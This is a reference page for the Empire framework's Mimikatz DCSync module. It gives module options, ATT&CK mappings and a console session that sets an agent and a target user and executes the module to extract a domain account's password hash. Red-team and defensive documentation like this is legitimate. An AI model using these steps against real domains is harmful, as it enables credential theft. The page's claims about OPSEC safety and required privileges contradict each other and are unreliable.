Invoke-Mimikatz DCsync - Empire Module

This page contains detailed information about how to use the powershell/credentials/mimikatz/dcsync Empire module. For list of all Empire modules, visit the Empire Module Library.

Module Overview

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Name: Invoke-Mimikatz DCsync
Module: powershell/credentials/mimikatz/dcsync
Source code [1]: empire/server/modules/powershell/credentials/mimikatz/dcsync.yaml
Source code [2]: empire/server/data/module_source/credentials/Invoke-Mimikatz.ps1
MITRE ATT&CK: T1098, T1003, T1081, T1207, T1075, T1097, T1145, T1101, T1178, S0002
Language: PowerShell
Needs admin: No
OPSEC safe: Yes
Background: Yes

The dcsync module runs PowerSploit's Invoke-Mimikatz function to extract a given account password through Mimikatz's lsadump::dcsync module. This doesn't need code execution on a given DC, but needs to be run from a user context with DA equivalent privileges.

This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.

Note that the dcsync module does not need administrative privileges to work properly which means that a normal user can run this module.

Required Module Options

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This is a list of options that are required by the dcsync module:

Agent
Agent to run module on.

user
Username to extract the hash for (domain\username format).

Additional Module Options

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This is a list of additional options that are supported by the dcsync module:

dc
Specified (fqdn) domain controller to pull replication data from.

domain
Specified (fqdn) domain to pull for the primary domain/DC.

Dcsync Example Usage

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Here's an example of how to use the dcsync module in the Empire client console:

[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/windows/ducky) > usemodule powershell/credentials/mimikatz/dcsync

 Author       @gentilkiwi                                                            
              Vincent Le Toux                                                        
              @JosephBialek                                                          
 Background   True                                                                   
 Comments     http://blog.gentilkiwi.com                                             
              http://clymb3r.wordpress.com/                                          
 Description  Runs PowerSploit's Invoke-Mimikatz function to extract a given account 
              password through Mimikatz's lsadump::dcsync module. This doesn't need  
              code execution on a given DC, but needs to be run from a user context  
              with DA equivalent privileges.                                         
 Language     powershell                                                             
 Name         powershell/credentials/mimikatz/dcsync                                 
 NeedsAdmin   False                                                                  
 OpsecSafe    True                                                                   
 Software     http://attack.mitre.org/software/S0002                                 
 Techniques   http://attack.mitre.org/techniques/T1098                               
              http://attack.mitre.org/techniques/T1003                               
              http://attack.mitre.org/techniques/T1081                               
              http://attack.mitre.org/techniques/T1207                               
              http://attack.mitre.org/techniques/T1075                               
              http://attack.mitre.org/techniques/T1097                               
              http://attack.mitre.org/techniques/T1145                               
              http://attack.mitre.org/techniques/T1101                               
              http://attack.mitre.org/techniques/T1178                               


,Record Options--,----------,-------------------------------------,
| Name   | Value | Required | Description                         |
|--------|-------|----------|-------------------------------------|
| Agent  |       | True     | Agent to run module on.             |
|--------|-------|----------|-------------------------------------|
| dc     |       | False    | Specified (fqdn) domain controller  |
|        |       |          | to pull replication data from.      |
|--------|-------|----------|-------------------------------------|
| domain |       | False    | Specified (fqdn) domain to pull for |
|        |       |          | the primary domain/DC.              |
|--------|-------|----------|-------------------------------------|
| user   |       | True     | Username to extract the hash for    |
|        |       |          | (domain\username format).           |
'--------'-------'----------'-------------------------------------'

(Empire: usemodule/powershell/credentials/mimikatz/dcsync) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/powershell/credentials/mimikatz/dcsync) > set user user
[*] Set user to user
(Empire: usemodule/powershell/credentials/mimikatz/dcsync) > execute
[*] Tasked Y4LHEV83 to run Task 1
...

Now wait for the results to come.

Authors

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• @gentilkiwi
• Vincent Le Toux
• @JosephBialek

References

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• https://github.com/BC-SECURITY/Empire/tree/master/empire/server/modules/powershell/credentials/mimikatz/dcsync.yaml
• https://github.com/BC-SECURITY/Empire/tree/master/empire/server/data/module_source/credentials/Invoke-Mimikatz.ps1
• http://blog.gentilkiwi.com
• http://clymb3r.wordpress.com/
• http://attack.mitre.org/software/S0002
• http://attack.mitre.org/techniques/T1098
• http://attack.mitre.org/techniques/T1003
• http://attack.mitre.org/techniques/T1081
• http://attack.mitre.org/techniques/T1207
• http://attack.mitre.org/techniques/T1075
• http://attack.mitre.org/techniques/T1097
• http://attack.mitre.org/techniques/T1145
• http://attack.mitre.org/techniques/T1101
• http://attack.mitre.org/techniques/T1178
• http://creativecommons.org/licenses/by/3.0/fr/
• https://github.com/clymb3r/PowerShell/tree/master/Invoke-ReflectivePEInjection
• http://clymb3r.wordpress.com/2013/04/09/modifying-mimikatz-to-be-loaded-using-invoke-reflectivedllinjection-ps1/
• http://www.exploit-monday.com/2012/07/structs-and-enums-using-reflection.html
• http://www.exploit-monday.com/
• http://msdn.microsoft.com/en-us/magazine/cc301808.aspx

See Also

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Check also the following modules related to this module:

• powershell/credentials/mimikatz/dcsync_hashdump
• powershell/credentials/mimikatz/pth
• powershell/credentials/mimikatz/silver_ticket
• powershell/credentials/mimikatz/cache
• powershell/credentials/mimikatz/command
• powershell/credentials/mimikatz/terminal_server
• powershell/credentials/mimikatz/extract_tickets
• powershell/credentials/mimikatz/keys
• powershell/credentials/mimikatz/sam
• powershell/credentials/mimikatz/trust_keys
• powershell/credentials/mimikatz/purge
• powershell/credentials/mimikatz/logonpasswords
• powershell/credentials/mimikatz/certs
• powershell/credentials/mimikatz/lsadump
• powershell/credentials/mimikatz/mimitokens
• powershell/credentials/mimikatz/golden_ticket

Version

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This page has been created based on Empire version 4.1.3 (BC Security Fork).
Visit Empire Module Library for more modules.